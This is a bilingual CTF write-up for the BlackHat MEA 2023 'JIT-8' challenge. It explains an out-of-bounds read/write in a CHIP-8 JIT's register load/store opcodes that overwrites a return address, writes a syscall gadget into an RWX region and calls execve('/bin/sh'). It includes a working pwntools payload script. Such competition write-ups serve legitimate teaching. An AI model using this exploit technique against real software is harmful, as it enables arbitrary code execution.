[CTF write up] BlackHat MEA CTF 2023 - JIT-8 : Exploit the CHIP-8 JIT Compiler

2023. 11. 23. 10:33CTF write up

IDA

뭔가 복잡해보이지만, CHIP-8 시스템을 그대로 구현한 것이므로 거의 분석할 필요가 없다. https://en.wikipedia.org/wiki/CHIP-8 해당 Wikipedia에서 opcode와 동작을 알 수 있으며, IDA에서도 Symbol이 어느정도 남아 있어 분석 자체는 어렵지 않다. 

 

Although it seems pretty complicated, there is almost no need to analyze it since it is a direct implementation of the CHIP-8 system. https://en.wikipedia.org/wiki/CHIP-8 You can find out the opcode and operation in Wikipedia, and the symbol remains to some extent in IDA, so the analysis itself is not difficult.

 

 

취약점은 reg_dump 및 reg_load 명령에 존재한다. I = 0xfff 최댓값일때 해당 명령을 실행할 경우 경계검사 없이 0xfff 범위를 벗어난 Read / Write 동작을 하게 된다.


The vulnerability exists in the reg_dump and reg_load commands. If the command is executed when I = 0xfff is the maximum value, Read / Write operations outside the 0xfff range are performed without boundary checking.

 

Memory Layout
2NNN = *(0xNNN)()
FX65 = reg_load(Vx, &I)

I 값을 통해 참조가능한 메모리 영역 위에는 CHIP-8의 스택 영역이 존재한다. 이곳에는 2NNN 명령을 통해 임의의 서브루틴을 call 했을때 Return Address가 남겨지며, 우리는 해당 취약점을 통해 해당 Return Address를 조작하여 Control Flow를 하이재킹 할 수 있다.

 

The stack area of ​​CHIP-8 exists above the memory area that can be referenced through the I value. A Return Address is left here when a subroutine is called through the 2NNN command, and we can hijack the Control Flow by overwriting the Return Address through this vulnerability.

 

이후에는 A50F(I = 50F) 명령을 이용해 RWX 영역에 syscall (0x050F) 값을 쓰고, eax 레지스터를 이용하는 명령(FX1E)등을 이용해 eax에 0x3b (execve)를 대입한다음 return 명령(00EE)을 실행하여 execve system call을 실행할 수 있다.

reg_load 명령(FX65)을 통해 rdi와 rsi 역시 제어할 수 있고, rdi 같은 경우 CHIP-8 레지스터 메모리 영역 주소를 대입할 수 있기 때문에 레지스터에 /bin/sh를 써서 Shelll을 얻을 수 있다.

 

Afterwards, write the syscall (0x050F) value to the RWX area using the A50F (I = 50F) instruction, assign 0x3b (execve) to eax using an instruction (FX1E) that uses the eax register, and then execute the return instruction (00EE). You can execute the execve system call. rdi and rsi can also be controlled through the reg_load command (FX65), and in the case of rdi, the CHIP-8 register memory area address can be assigned, so shell can be obtained by writing /bin/sh to the register.

 

from pwn import *

code = ''
code += '61ff'
code += '2006'

code += 'a000'
code += 'afff'
code += 'ff65'

code += '712c'
code += 'ff55'

code += 'a50f'
code += '613b'
code += 'f11e'

code += 'a000'
code += 'f065'

#68732f6e69622f
code += '612f'
code += '6262'
code += '6369'
code += '646e'
code += '652f'
code += '6673'
code += '6768'
code += '6800'

code += '00ee'

code = bytes.fromhex(code)
assert len(code) < 100, "Too long!"

with open("test", 'wb') as f:
    f.write(code)
    f.flush()